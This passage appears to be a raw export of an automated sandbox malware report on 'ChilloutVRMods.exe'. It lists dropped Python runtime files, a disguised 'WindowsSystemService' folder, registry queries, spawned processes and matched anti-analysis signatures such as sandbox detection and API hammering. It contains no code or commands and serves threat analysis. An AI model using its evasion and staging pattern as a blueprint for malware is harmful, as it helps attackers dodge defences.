00000000-00004592] "thread.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\concurrent\futures\thread.py]- [targetUID: 00000000-00004592] "progress_bars.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_internal\cli\progress_bars.py]- [targetUID: 00000000-00004592] "textpad.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\curses\textpad.py]- [targetUID: 00000000-00004592] "base_command.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_internal\cli\base_command.py]- [targetUID: 00000000-00004592] "subprocess.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\asyncio\subprocess.py]- [targetUID: 00000000-00004592] "cache.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_internal\commands\cache.py]- [targetUID: 00000000-00004592] "codecs.h" has type "Unknown"- Location: [%TEMP%\WinGet\tools\include\codecs.h]- [targetUID: 00000000-00004592] "pyproject.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_internal\pyproject.py]- [targetUID: 00000000-00004592] "ssltransport.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_vendor\urllib3\util\ssltransport.py]- [targetUID: 00000000-00004592] "debug.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_internal\commands\debug.py]- [targetUID: 00000000-00004592] "tests.py" has type "Python script Unicode text UTF-8 text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_vendor\webencodings\tests.py]- [targetUID: 00000000-00004592] "self_outdated_check.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_internal\self_outdated_check.py]- [targetUID: 00000000-00004592] "autocompletion.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_internal\cli\autocompletion.py]- [targetUID: 00000000-00004592] "staggered.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\asyncio\staggered.py]- [targetUID: 00000000-00004592] "trsock.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\asyncio\trsock.py]- [targetUID: 00000000-00004592] "__init__.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\dbm\__init__.py]- [targetUID: 00000000-00004592] "ceval.h" has type "Unknown"- Location: [%TEMP%\WinGet\tools\include\ceval.h]- [targetUID: 00000000-00004592] "_implementation.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_vendor\urllib3\packages\ssl_match_hostname\_implementation.py]- [targetUID: 00000000-00004592] "wintypes.py" has type "Unknown"- Location: [%TEMP%\WinGet\tools\Lib\ctypes\wintypes.py]- [targetUID: 00000000-00004592] "has_key.py" has type "Unknown"- Location: [%TEMP%\WinGet\tools\Lib\curses\has_key.py]- [targetUID: 00000000-00004592] "wait.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_vendor\urllib3\util\wait.py]- [targetUID: 00000000-00004592] "dyld.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\ctypes\macholib\dyld.py]- [targetUID: 00000000-00004592] "spinners.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_internal\cli\spinners.py]- [targetUID: 00000000-00004592] "windows_utils.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\asyncio\windows_utils.py]- [targetUID: 00000000-00004592] "download.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_internal\commands\download.py]- [targetUID: 00000000-00004592] "connection.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_vendor\urllib3\util\connection.py]- [targetUID: 00000000-00004592] "config.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\distutils\config.py]- [targetUID: 00000000-00004592] "requirements.py" has type "Python script ASCII text executable"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pkg_resources\_vendor\packaging\requirements.py]- [targetUID: 00000000-00004592] "index.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_internal\commands\index.py]- [targetUID: 00000000-00004592] "x_user_defined.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_vendor\webencodings\x_user_defined.py]- [targetUID: 00000000-00004592] "request.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_vendor\urllib3\util\request.py]- [targetUID: 00000000-00004592] "METADATA" has type "Unknown"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip-21.2.3.dist-info\METADATA]- [targetUID: 00000000-00004592] "response.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_vendor\urllib3\util\response.py]- [targetUID: 00000000-00004592] "__init__.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\curses\__init__.py]- [targetUID: 00000000-00004592] "__main__.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\asyncio\__main__.py]- [targetUID: 00000000-00004592] "__init__.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\multiprocessing\dummy\__init__.py]- [targetUID: 00000000-00004592] "completion.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_internal\commands\completion.py]- [targetUID: 00000000-00004592] "freeze.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_internal\commands\freeze.py]- [targetUID: 00000000-00004592] "main_parser.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_internal\cli\main_parser.py]- [targetUID: 00000000-00004592] "bytesobject.h" has type "Unknown"- Location: [%TEMP%\WinGet\tools\include\bytesobject.h]- [targetUID: 00000000-00004592] "ascii.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\curses\ascii.py]- [targetUID: 00000000-00004592] "main.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_internal\cli\main.py]- [targetUID: 00000000-00004592] "__init__.py" has type "Python script ASCII text executable"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pkg_resources\extern\__init__.py]- [targetUID: 00000000-00004592] "framework.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\ctypes\macholib\framework.py]- [targetUID: 00000000-00004592] "_endian.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\ctypes\_endian.py]- [targetUID: 00000000-00004592] "context.h" has type "Unknown"- Location: [%TEMP%\WinGet\tools\include\context.h]- [targetUID: 00000000-00004592] "dylib.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\ctypes\macholib\dylib.py]- [targetUID: 00000000-00004592] "complexobject.h" has type "Unknown"- Location: [%TEMP%\WinGet\tools\include\complexobject.h]- [targetUID: 00000000-00004592] "utils.py" has type "Python script ASCII text executable"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pkg_resources\_vendor\packaging\utils.py]- [targetUID: 00000000-00004592] "hash.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_internal\commands\hash.py]- [targetUID: 00000000-00004592] "classobject.h" has type "Unknown"- Location: [%TEMP%\WinGet\tools\include\classobject.h]- [targetUID: 00000000-00004592] "connection.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\multiprocessing\dummy\connection.py]- [targetUID: 00000000-00004592] "proxy.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_vendor\urllib3\util\proxy.py]- [targetUID: 00000000-00004592] "check.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_internal\commands\check.py]- [targetUID: 00000000-00004592] "__init__.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\concurrent\futures\__init__.py]- [targetUID: 00000000-00004592] "bytearrayobject.h" has type "Unknown"- Location: [%TEMP%\WinGet\tools\include\bytearrayobject.h]- [targetUID: 00000000-00004592] "makefile.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_vendor\urllib3\packages\backports\makefile.py]- [targetUID: 00000000-00004592] "mklabels.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_vendor\webencodings\mklabels.py]- [targetUID: 00000000-00004592] "StartupProfileData-NonInteractive" has type "Unknown"- Location: [%LOCALAPPDATA%\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive]- [targetUID: 00000000-00004788] "boolobject.h" has type "Unknown"- Location: [%TEMP%\WinGet\tools\include\boolobject.h]- [targetUID: 00000000-00004592] "__main__.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\__main__.py]- [targetUID: 00000000-00004592] "__init__.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_vendor\urllib3\util\__init__.py]- [targetUID: 00000000-00004592] "python.png" has type "PNG image data 100 x 99 8-bit colormap non-interlaced"- Location: [%TEMP%\WinGet\images\python.png]- [targetUID: 00000000-00004592] "help.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_internal\commands\help.py]- [targetUID: 00000000-00004592] "__init__.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\asyncio\__init__.py]- [targetUID: 00000000-00004592] "_compat.py" has type "Python script ASCII text executable"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pkg_resources\_vendor\packaging\_compat.py]- [targetUID: 00000000-00004592] "LICENSE.txt" has type "Unknown"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip-21.2.3.dist-info\LICENSE.txt]- [targetUID: 00000000-00004592] "__init__.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\multiprocessing\__init__.py]- [targetUID: 00000000-00004592] "__init__.py" has type "Unknown"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_vendor\urllib3\packages\ssl_match_hostname\__init__.py]- [targetUID: 00000000-00004592] "python.nuspec" has type "Unknown"- Location: [%TEMP%\WinGet\python.nuspec]- [targetUID: 00000000-00004592] "threads.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\asyncio\threads.py]- [targetUID: 00000000-00004592] "command_context.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_internal\cli\command_context.py]- [targetUID: 00000000-00004592] "cellobject.h" has type "Unknown"- Location: [%TEMP%\WinGet\tools\include\cellobject.h]- [targetUID: 00000000-00004592] "__init__.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_internal\__init__.py]- [targetUID: 00000000-00004592] "compile.h" has type "Unknown"- Location: [%TEMP%\WinGet\tools\include\compile.h]- [targetUID: 00000000-00004592] "queue.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_vendor\urllib3\util\queue.py]- [targetUID: 00000000-00004592] ".rels" has type "Unknown"- Location: [%TEMP%\WinGet\_rels\.rels]- [targetUID: 00000000-00004592] "__init__.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\__init__.py]- [targetUID: 00000000-00004592] "main.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_internal\main.py]- [targetUID: 00000000-00004592] "code.h" has type "Unknown"- Location: [%TEMP%\WinGet\tools\include\code.h]- [targetUID: 00000000-00004592] "README.ctypes" has type "Unknown"- Location: [%TEMP%\WinGet\tools\Lib\ctypes\macholib\README.ctypes]- [targetUID: 00000000-00004592] "py.typed" has type "Unknown"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\py.typed]- [targetUID: 00000000-00004592] "bltinmodule.h" has type "Unknown"- Location: [%TEMP%\WinGet\tools\include\bltinmodule.h]- [targetUID: 00000000-00004592] "SystemService_README.txt" has type "Unknown"- Location: [%TEMP%\SystemService_README.txt]- [targetUID: 00000000-00004592] "config.json" has type "JSON text data"- Location: [%APPDATA%\WindowsSystemService\config.json]- [targetUID: 00000000-00004592] "service.log" has type "Unknown"- Location: [%APPDATA%\WindowsSystemService\Logs\service.log]- [targetUID: 00000000-00004592] "__init__.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\ctypes\macholib\__init__.py]- [targetUID: 00000000-00004592] "distutils-precedence.pth" has type "Unknown"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\distutils-precedence.pth]- [targetUID: 00000000-00004592] "__init__.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_internal\cli\__init__.py]- [targetUID: 00000000-00004592] "entry_points.txt" has type "Unknown"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip-21.2.3.dist-info\entry_points.txt]- [targetUID: 00000000-00004592] "status_codes.py" has type "Unknown"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_internal\cli\status_codes.py]- [targetUID: 00000000-00004592] "abc.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\collections\abc.py]- [targetUID: 00000000-00004592] "README.txt" has type "Unknown"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\README.txt]- [targetUID: 00000000-00004592] "__init__.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_vendor\urllib3\packages\__init__.py]- [targetUID: 00000000-00004592] "setup.py" has type "Unknown"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pkg_resources\tests\data\my-test-package-source\setup.py]- [targetUID: 00000000-00004592] "_pydoc.css" has type "Unknown"- Location: [%TEMP%\WinGet\tools\Lib\pydoc_data\_pydoc.css]- [targetUID: 00000000-00004592] "panel.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\curses\panel.py]- [targetUID: 00000000-00004592] "WHEEL" has type "Unknown"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip-21.2.3.dist-info\WHEEL]- [targetUID: 00000000-00004592] "fetch_macholib" has type "POSIX shell script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\ctypes\macholib\fetch_macholib]- [targetUID: 00000000-00004592] "gnu.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\dbm\gnu.py]- [targetUID: 00000000-00004592] "ndbm.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\dbm\ndbm.py]- [targetUID: 00000000-00004592] "__init__.py" has type "Unknown"- Location: [%TEMP%\WinGet\tools\Lib\concurrent\__init__.py]- [targetUID: 00000000-00004592] "version.txt" has type "Unknown"- Location: [%TEMP%\version.txt]- [targetUID: 00000000-00004592] "__PSScriptPolicyTest_hkk4yvlw.gjq.psm1" has type "Unknown"- Location: [%TEMP%\__PSScriptPolicyTest_hkk4yvlw.gjq.psm1]- [targetUID: 00000000-00005884]56:T6c6,"ChilloutVRMods.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CODEPAGE"; Key: ""; Value: "") "ChilloutVRMods.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "ChilloutVRMods.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\SEGMENT HEAP"; Key: ""; Value: "") "ChilloutVRMods.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\STATESEPARATION\REDIRECTIONMAP\KEYS"; Key: ""; Value: "") "ChilloutVRMods.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "ChilloutVRMods.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "ChilloutVRMods.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "ChilloutVRMods.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "ChilloutVRMods.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: ""; Value: "") "ChilloutVRMods.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "ChilloutVRMods.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\ERROR MESSAGE INSTRUMENT"; Key: ""; Value: "") "ChilloutVRMods.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS"; Key: ""; Value: "") "ChilloutVRMods.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\CHILLOUTVRMODS.EXE"; Key: ""; Value: "")57:T4b7,"python310.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 7 sections"- Location: [%TEMP%\WinGet\tools\python310.dll]- [targetUID: 00000000-00004592] "libcrypto-1_1.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 8 sections"- Location: [%TEMP%\WinGet\tools\DLLs\libcrypto-1_1.dll]- [targetUID: 00000000-00004592] "sqlite3.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\WinGet\tools\DLLs\sqlite3.dll]- [targetUID: 00000000-00004592] "libssl-1_1.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 8 sections"- Location: [%TEMP%\WinGet\tools\DLLs\libssl-1_1.dll]- [targetUID: 00000000-00004592] "vcruntime140.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 7 sections"- Location: [%TEMP%\WinGet\tools\vcruntime140.dll]- [targetUID: 00000000-00008992] "python3.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 2 sections"- Location: [%TEMP%\WinGet\tools\python3.dll]- [targetUID: 00000000-00004592] "vcruntime140_1.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\WinGet\tools\vcruntime140_1.dll]- [targetUID: 00000000-00008992]58:T616,"ChilloutVRMods.exe" queries basic process information of the "C:\ChilloutVRMods.exe" (UID: 7912) "zeppskdd.exe" queries basic process information of the "C:\Users\%OSUSER%\AppData\Local\Temp\zeppskdd.exe" (UID: 4592) "cmd.exe" queries basic process information of the "C:\Windows\System32\cmd.exe" (UID: 1732) "powershell.exe" queries basic process information of the "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (UID: 5884) "cmd.exe" queries basic process information of the "C:\Windows\System32\cmd.exe" (UID: 8912) "cscript.exe" queries basic process information of the "C:\Windows\System32\cscript.exe" (UID: 4004) "python.exe" queries basic process information of the "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\python.exe" (UID: 636) "python.exe" queries basic process information of the "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\python.exe" (UID: 7668) "python.exe" queries basic process information of the "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\python.exe" (UID: 8784) "cmd.exe" queries basic process information of the "C:\Windows\System32\cmd.exe" (UID: 3436) "cmd.exe" queries basic process information of the "C:\Windows\System32\cmd.exe" (UID: 5596) "cmd.exe" queries basic process information of the "C:\Windows\System32\cmd.exe" (UID: 7200) "python.exe" queries basic process information of the "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\python.exe" (UID: 3736) "taskkill.exe" queries basic process information of the "C:\Windows\System32\taskkill.exe" (UID: 4388)59:Td63,"ChilloutVRMods.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CODEPAGE"; Key: "ACP"; Value: "") "ChilloutVRMods.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CODEPAGE"; Key: "OEMCP"; Value: "") "ChilloutVRMods.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RAISEEXCEPTIONONPOSSIBLEDEADLOCK"; Value: "") "ChilloutVRMods.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RESOURCEPOLICIES"; Value: "") "ChilloutVRMods.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "57A6ED1A-79F7-5011-B242-4784E5620CF7"; Value: "") "ChilloutVRMods.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "3C74AFB9-8D82-44E3-B52C-365DBF48382A"; Value: "") "ChilloutVRMods.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "B749553B-D950-5E03-6282-3145A61B1002"; Value: "") "ChilloutVRMods.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "05F95EFE-7F75-49C7-A994-60A55CC09571"; Value: "") "ChilloutVRMods.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "ChilloutVRMods.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: "LONGPATHSENABLED"; Value: "") "ChilloutVRMods.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "ChilloutVRMods.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: "000604XX"; Value: "") "ChilloutVRMods.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "CA967C75-04BF-40B5-9A16-98B5F9332A92"; Value: "") "ChilloutVRMods.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "B6FD710B-F783-4B1C-AB9C-C68099DCC0C7"; Value: "") "ChilloutVRMods.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "BF30465B-E93C-46FD-9CDF-F41C8904A01F"; Value: "") "ChilloutVRMods.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "C1376338-0984-48B8-B933-9C7D779FD84D"; Value: "") "ChilloutVRMods.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "F25BCD2E-2690-55DC-3BC4-07B65B1B41C9"; Value: "") "ChilloutVRMods.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\GRE_INITIALIZE"; Key: "DISABLEMETAFILES"; Value: "") "ChilloutVRMods.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "ENABLEPERPROCESSSYSTEMDPI"; Value: "") "ChilloutVRMods.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\COMPATIBILITY32"; Key: "CHILLOUTVRMODS"; Value: "") "ChilloutVRMods.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS"; Key: "LOADAPPINIT_DLLS"; Value: "") "ChilloutVRMods.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORUSESYSTEMHEAP"; Value: "") "ChilloutVRMods.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORSYSTEMHEAPISPRIVATE"; Value: "")5a:T44b,The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Contains ability to delay execution by waiting for signal/timeout (API string) Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string) Matched sigs: Able to identify virtual environment by using user activity (API string) Matched sigs: Reference to an external IP address lookup service identified Matched sigs: Able to identify virtual environment by using API string Matched sigs: Able to identify sandbox environment running process Matched sigs: Queries process mitigation policy via NtQueryInformationProcess Matched sigs: Attempts to call APIs commonly associated with anti-analysis and evasion techniques Matched sigs: Triggers a burst of requests to the same API (API Hammering) Matched sigs: Contains ability to detect virtual environment Matched sigs: Observed a high volume of repeated registry API calls (API Hammering) Matched sigs: Attempts to identify external IP address5b:T460,"ChilloutVRMods.exe" trying to touch file "C:\WINDOWS\system32\IMM32.DLL" "ChilloutVRMods.exe" trying to touch file "C:\Windows\System32\imm32.dll" "ChilloutVRMods.exe" trying to touch file "C:\windows\temp\VxSSL64.dll" "ChilloutVRMods.exe" trying to touch file "C:\Windows\System32\fltLib.dll" "ChilloutVRMods.exe" trying to touch file "C:\Windows\System32\msvcp140.dll" "ChilloutVRMods.exe" trying to touch file "C:\VCRUNTIME140.dll" "ChilloutVRMods.exe" trying to touch file "C:\WINDOWS\SYSTEM32\VCRUNTIME140.dll" "ChilloutVRMods.exe" trying to touch file "C:\Windows\System32\vcruntime140.dll" "ChilloutVRMods.exe" trying to touch file "C:\VCRUNTIME140_1.dll" "ChilloutVRMods.exe" trying to touch file "C:\WINDOWS\SYSTEM32\VCRUNTIME140_1.dll" "ChilloutVRMods.exe" trying to touch file "C:\Windows\System32\vcruntime140_1.dll" "ChilloutVRMods.exe" trying to touch file "C:\CRYPTSP.DLL" "ChilloutVRMods.exe" trying to touch file "C:\WINDOWS\SYSTEM32\CRYPTSP.DLL" "ChilloutVRMods.exe" trying to touch file "C:\Windows\System32\cryptsp.dll" "ChilloutVRMods.exe" trying to touch file "C:\ChilloutVRMods.exe"5c:T83b,"powershell.exe" touched file "C:\Windows\System32\CatRoot" "powershell.exe" touched file "C:\Windows\System32\catroot2" "powershell.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive" "powershell.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive" "python.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\site-packages\windows\__init__.py" "python.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\site-packages\windows\alpc.py" "python.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\site-packages\windows\com.py" "python.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\site-packages\windows\dbgprint.py" "python.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\site-packages\windows\hooks.py" "python.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\site-packages\windows\injection.py" "python.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\site-packages\windows\pe_parse.py" "python.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\site-packages\windows\pipe.py" "python.exe" touched file 